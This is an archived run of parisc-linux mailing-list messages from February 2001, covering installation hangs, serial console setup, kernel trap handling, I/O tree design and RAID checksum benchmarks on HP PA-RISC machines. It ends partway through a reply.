In-Reply-To: <200101290356.TAA25535@milano.cup.hp.com>; from grundler@cup.hp.com on Sun, Jan 28, 2001 at 07:56:08PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:10159

On Sun, Jan 28, 2001 at 07:56:08PM -0800, Grant Grundler wrote:
> 5116@telia.com wrote:
> > Modprobe is not in stalled in my system (is it ported yet?).

It is.  Thanks to Bdale there is now a .deb of it in

ftp://puffin.external.hp.com/pub/parisc/binaries/new-debs/debian/

Just tried on a b180 and it seems to work ok.

Note pehc cvs modutils is no longer up to date; if you want to build
your own, you should use the latest official source.

Richard





From - Thu Nov 08 21:16:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pa-linux install hangs on a HP 9000 712/100
Date: Mon, 05 Feb 2001 17:29:14 +0100
Organization: AAA
Lines: 38
Approved: news@gmane.org
Message-ID: <3A7ED4DA.FB3BD30C@alcatel.at>
References: <39F24A52.4B7541DE@nc.rr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619837 15067 80.91.229.3 (22 Nov 2014 01:30:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: zhao <qzhao@nc.rr.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 09:29:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42F5E4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 09:29:39 -0700 (MST)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id RAA04298;
	Mon, 5 Feb 2001 17:29:15 +0100 (MET)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10160

How is your console defined ?
console=ttyS0 ?

You should check the command line which is passed by palo
to the kernel !

	Christoph

zhao wrote:
> 
> Thanks for the former help. Now I can boot the machine.
> 
> I tried to install PA linux on to this machine.
> When the installation starts, everythins seems fine,
> The devices are recongnized correcttly.
> My SCSI HD is on 0.0.
> It hangs after booting, the last message the installer gave is:
> Switching from PDC console.
> 
> Do anyone have any idea about this?
> 
> Thanks,
> 
> zhao
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
  +--------V--------+	Christoph.Plattner@alcatel.at
  |  A L C A T E L  |	-----------------------------
  +-----------------+	Phone: +43 1 27722 3706	
         T A S		Fax:   +43 1 27722 3955




From - Thu Nov 08 21:16:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _working_ rbootd for redhat
Date: Mon, 5 Feb 2001 18:19:11 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20010205181911.A5520@parcelfarce.linux.theplanet.co.uk>
References: <200102041048.VAA00309@customware.com.au> <3A7D69B4.896F63D6@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619838 15070 80.91.229.3 (22 Nov 2014 01:30:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:38 +0000 (UTC)
Cc: penfold@customware.com.au, parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 11:19:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EAB284A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 11:19:36 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14PqEJ-00029U-00; Mon, 05 Feb 2001 18:19:11 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A7D69B4.896F63D6@dot.at>; from christoph.plattner@dot.at on Sun, Feb 04, 2001 at 03:39:48PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10161

On Sun, Feb 04, 2001 at 03:39:48PM +0100, Christoph Plattner wrote:
> Hello !
> 
> For the SCSI I have nothing fixed !
> It works out of the box.
> 
> I have not sent any patch. I only tried it and it works.
> So to all PA-RISC hackers, add the TRAP 18 there in the main stream !!

Yes, and no.  we need a proper trap 18 handler that checks to see whether
it's a page fault or a misaligned data reference, and calls the right
handler.  This should not be too hard to write, but i don't have time
right now.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RFC: I/O tree design
Date: Mon, 05 Feb 2001 10:22:11 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <200102051822.KAA02233@milano.cup.hp.com>
References: <3A7BB0A0.D478911A@uswest.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619838 15074 80.91.229.3 (22 Nov 2014 01:30:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 11:19:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C5F454A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 11:19:55 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA29150
	for <parisc-linux@puffin.external.hp.com>; Mon, 5 Feb 2001 11:15:40 -0700
Original-Received: (qmail 25622 invoked by uid 15267); 5 Feb 2001 18:19:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25605 invoked from network); 5 Feb 2001 18:19:53 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 5 Feb 2001 18:19:53 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id CAAD2A97; Mon,  5 Feb 2001 10:19:48 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA02233;
	Mon, 5 Feb 2001 10:22:13 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 03 Feb 2001 00:17:52 PST."
             <3A7BB0A0.D478911A@uswest.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:10162

Ryan Bradetich wrote:
> Here is my proposal for phase 2 of the I/O tree for parisc-linux.

Overall, this sounds ok to me.
Just a nit WRT to terminology.

...
> This proposal also calls for a special "root" node at
> index 0 of the device array.  The root node is the starting
> point of the I/O tree and does not have a parent, nor any
> siblings.  The root node has a single child pointer which
> points to the head of the sibling list for the system
> bus.

I would call the "root" node the "parent psuedo-bus adapter"
(or something like that) of the central bus. It's special because
it generally won't represent a physical PA I/O device. But it does
contain a "lower port address" - the fixed PA IO address your
previous bus-walk patch started with.

The idea here is you can pass "hp_device *" to your PA bus walk code
and not have seperate code for central bus or GSC bus. The bus walk
code could use the "lower port address" as a new starting point to
poke around.


thanks,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _working_ rbootd for redhat
Date: Mon, 05 Feb 2001 19:24:15 +0100
Organization: AAA
Lines: 46
Approved: news@gmane.org
Message-ID: <3A7EEFCF.A0E34D31@alcatel.at>
References: <200102041048.VAA00309@customware.com.au> <3A7D69B4.896F63D6@dot.at> <20010205181911.A5520@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619838 15075 80.91.229.3 (22 Nov 2014 01:30:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:38 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@dot.at>,
	penfold@customware.com.au, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 11:24:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 902A64A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 11:24:26 -0700 (MST)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id TAA07587;
	Mon, 5 Feb 2001 19:24:15 +0100 (MET)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10163

Is it not possible to add the entry in the meantime
with the well-known big triple X
	/* XXX hack.... */
for those people doing the first hackings on such old machines ?
Of course, some of these points will be forgotten....

I have not enough skills at the moment. I don't know the PA-RISC
arch here good enough, and I also have to deal with the low level
kernel code around the PA RISC here. 

Cheers
	Christoph


Matthew Wilcox wrote:
> 
> On Sun, Feb 04, 2001 at 03:39:48PM +0100, Christoph Plattner wrote:
> > Hello !
> >
> > For the SCSI I have nothing fixed !
> > It works out of the box.
> >
> > I have not sent any patch. I only tried it and it works.
> > So to all PA-RISC hackers, add the TRAP 18 there in the main stream !!
> 
> Yes, and no.  we need a proper trap 18 handler that checks to see whether
> it's a page fault or a misaligned data reference, and calls the right
> handler.  This should not be too hard to write, but i don't have time
> right now.
> 
> --
> Revolutions do not require corporate support.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
  +--------V--------+	Christoph.Plattner@alcatel.at
  |  A L C A T E L  |	-----------------------------
  +-----------------+	Phone: +43 1 27722 3706	
         T A S		Fax:   +43 1 27722 3955




From - Thu Nov 08 21:16:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RFC: I/O tree design
Date: Mon, 05 Feb 2001 10:34:48 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <200102051834.KAA02270@milano.cup.hp.com>
References: <20010203175751.C12985@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619839 15082 80.91.229.3 (22 Nov 2014 01:30:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:39 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 11:32:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id D22614A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 11:32:35 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA29190
	for <parisc-linux@puffin.external.hp.com>; Mon, 5 Feb 2001 11:28:20 -0700
Original-Received: (qmail 16180 invoked by uid 15267); 5 Feb 2001 18:32:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16161 invoked from network); 5 Feb 2001 18:32:33 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 5 Feb 2001 18:32:33 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 4C60E3D2; Mon,  5 Feb 2001 10:32:29 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA02270;
	Mon, 5 Feb 2001 10:34:53 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 03 Feb 2001 17:57:51 PST."
             <20010203175751.C12985@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:10164

Matthew Wilcox wrote:
...
> One advantage of doing this is that `Child' could be a pointer to a
> PCI bus.

I don't think I want that. PCI busses have their own heirarchy
and I would much rather keep them quite seperate. At least for
the moment I would. Future abstraction of native bus access
and mgt methods might make this more interesting.

> > This proposal also calls for a special "root" node at
> 
> And you don't ned a root node, just siblings.

You are right - PCI starts out as a bunch of siblings too.
If it makes the code simpler to have a root node, then
I think it's ok to keep it.

Sometimes, it's convenient to think of the memory controller(s)
as the "parent" of the central bus and memory banks as children
(just like CPU would also be a child). This model works under ccNuma
as well with memory at multiple levels in the I/O tree.

Note that HPUX walks the "PA I/O tree" in a depth-first
fashion like PCI as well. So I expect the "siblings-only
for central bus" would be ok.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lasi_82596
Date: Mon, 5 Feb 2001 19:19:24 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <20010205191924.C5520@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619839 15085 80.91.229.3 (22 Nov 2014 01:30:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 12:19:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 746AC4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 12:19:25 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14PrAa-0003Eg-00
	for parisc-linux@lists.parisc-linux.org; Mon, 05 Feb 2001 19:19:24 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10165

alan's not merging some of the 82596 network driver stuff because it's
using the old Space.c method of registration.  anyone want to fix it to
use __setup?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Karen og Torben" <buusbaek@os.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/60 console "gone"
Date: Mon, 5 Feb 2001 23:04:25 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <000001c08fbf$9a1ea900$6e55d7c3@torben1>
Reply-To: <buusbaek@os.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619839 15090 80.91.229.3 (22 Nov 2014 01:30:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:39 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 15:10:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fepA.post.tele.dk (fepA.post.tele.dk [195.41.46.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 80D7A4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 15:10:16 -0700 (MST)
Original-Received: from torben1 ([195.215.85.110]) by fepA.post.tele.dk
          (InterMail vM.4.01.03.00 201-229-121) with SMTP
          id <20010205221014.FEAZ4332.fepA.post.tele.dk@torben1>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 5 Feb 2001 23:10:14 +0100
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:10166

After booting the palo..0.5 cd image, i went into the
"switching from PDC console".

I then followed the recipe on switching the 712 to the
serial console, with "conspath 2/0/4.643" at the ISL prompt.
After restarting (boot sounds ok.) my monitor is black, though the indicator
changes to green (with a slight noise). I have tried to reach
the 712 from several term programs with several serial pinout.
I cant reach it.

Is it dead or can it still live?


Torben Baekgaard






From - Thu Nov 08 21:16:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 console "gone"
Date: Mon, 05 Feb 2001 14:23:47 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <200102052223.OAA02854@milano.cup.hp.com>
References: <000001c08fbf$9a1ea900$6e55d7c3@torben1>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619840 15093 80.91.229.3 (22 Nov 2014 01:30:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: buusbaek@os.dk
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 15:21:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CE9A4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 15:21:33 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 6E699482; Mon,  5 Feb 2001 14:21:32 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id OAA02854;
	Mon, 5 Feb 2001 14:23:56 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 05 Feb 2001 23:04:25 PST."
             <000001c08fbf$9a1ea900$6e55d7c3@torben1> 
Xref: news.gmane.org gmane.linux.ports.parisc:10167

"Karen og Torben" wrote:
> After booting the palo..0.5 cd image, i went into the
> "switching from PDC console".
> 
> I then followed the recipe on switching the 712 to the
> serial console, with "conspath 2/0/4.643" at the ISL prompt.
> After restarting (boot sounds ok.) my monitor is black, though the indicator
> changes to green (with a slight noise). I have tried to reach
> the 712 from several term programs with several serial pinout.
> I cant reach it.

Try a standard *HP* 9-pin to 9-pin serial cable.
Others might work but Alex DeVries was burned by this once.
Minicom should work fine. 9600 8N1 settings.

> Is it dead or can it still live?

Even if it's "dead" (console not accessible), it could be
resurrected with a special card ("dagger") that blasts new firmware
images. No clue who in (or near) .dk might have one though.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: gerry <arete@libero.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/50
Date: Tue, 06 Feb 2001 00:13:22 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <3A7F3392.FB6D5958@libero.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619840 15097 80.91.229.3 (22 Nov 2014 01:30:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 16:00:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.libero.it (smtp1.libero.it [193.70.192.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9BD144A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 16:00:46 -0700 (MST)
Original-Received: from libero.it (151.21.74.43) by smtp1.libero.it (5.5.015.5)
        id 3A5C4F91010257FF for parisc-linux@lists.parisc-linux.org; Tue, 6 Feb 2001 00:00:44 +0100
X-Mailer: Mozilla 4.73 [en] (Win98; I)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10168

The kernel 20010129 is borken at baranching the kernel
was is the problem ???
thanks





From - Thu Nov 08 21:16:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/50
Date: Mon, 05 Feb 2001 15:06:47 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <200102052306.PAA02925@milano.cup.hp.com>
References: <3A7F3392.FB6D5958@libero.it>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619840 15100 80.91.229.3 (22 Nov 2014 01:30:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gerry <arete@libero.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 16:04:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF1744A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 16:04:25 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id B0C80E83; Mon,  5 Feb 2001 15:04:24 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA02925;
	Mon, 5 Feb 2001 15:06:48 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 06 Feb 2001 00:13:22 PST."
             <3A7F3392.FB6D5958@libero.it> 
Xref: news.gmane.org gmane.linux.ports.parisc:10169

gerry wrote:
> The kernel 20010129 is borken at baranching the kernel
> was is the problem ???

No clue. Need more info. Can you post the console output?
(*all* of it :^)

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fun with RAID
Date: Mon, 05 Feb 2001 15:10:10 -0800
Lines: 56
Approved: news@gmane.org
Message-ID: <200102052310.PAA02945@milano.cup.hp.com>
References: <20010204040821.A12539@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619841 15102 80.91.229.3 (22 Nov 2014 01:30:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, grundler@milano.cup.hp.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 16:07:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7015D4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 16:07:50 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 230FE6F9; Mon,  5 Feb 2001 15:07:46 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA02945;
	Mon, 5 Feb 2001 15:10:10 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 04 Feb 2001 04:08:21 PST."
             <20010204040821.A12539@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:10170

Matthew Wilcox wrote:
> As some of you will have noticed, the current Head branch, as well as
> enabling lots of strange and curious segfaults also enables Software Raid.
> I suspect someone with the time & inclination will eventaully write some
> optimised XOR functions for PA-RISC, but in the meantime, we shall use the
> generic C functions.

I've pointed out to Matthew that using speculative loads (for PA2.0)
would help to preload cachelines.

> So, just for fun, let's see how they stack up.  Here's results from a 712
> (PCX/L CPU):
> 
> raid5: measuring checksumming speed
>    8regs     :    60.960 MB/sec
>    32regs    :   107.442 MB/sec
> 
> and here's a C200+ (PCX/U+ CPU):
> 
>    8regs     :   421.386 MB/sec
>    32regs    :   531.876 MB/sec
> 
> which is as you would expect, but i have a vague recollection that grant
> said the 8regs was the faster code on the A500.

Yeah. I've had both:
   8regs     :  2091.309 MB/sec
   32regs    :  2266.569 MB/sec

and

   8regs     :  2090.928 MB/sec
   32regs    :  1637.157 MB/sec

The first was from an NFS boot.
The second from the same vmlinux booted from local SCSI disk.
Don't ask me. I don't know why the difference.

On C3000 (same 64-bit kernel again):
   8regs     :  1900.809 MB/sec
   32regs    :  1799.082 MB/sec

and again with 32-bit on same C3000:
